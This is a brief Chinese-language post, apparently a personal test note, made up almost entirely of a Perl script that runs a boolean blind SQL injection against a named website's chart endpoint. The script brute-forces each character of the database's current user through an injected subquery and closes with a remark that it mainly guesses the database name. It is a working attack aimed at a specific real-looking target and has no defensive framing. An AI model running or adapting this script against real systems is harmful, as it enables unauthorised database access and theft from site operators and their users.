测试一个注入小脚本

 1 use warnings;
 2 use strict;
 3 use LWP::Simple;
 4 my @result;
 5 my $i=1;
 6 do{
 7     for(my $count=0;$count <=255;$count++){
 8         my $result = get("http://www.btc918.com//Chart/getJsonData?market=1' or (     select if(ascii(substr((select user()),$i,1))=$count,1,0))-- -");
 9         if($result =~ /120464662.8341/){
10                 print "OK!
";
11                 print chr($count),"
";
12                 push @result,chr($count);
13                 last;
14         }
15         print "Not $count 
";
16     }
17     $i++;
18 }while($i < 15);
19 print @result,"
";
主要是猜测当前数据库名称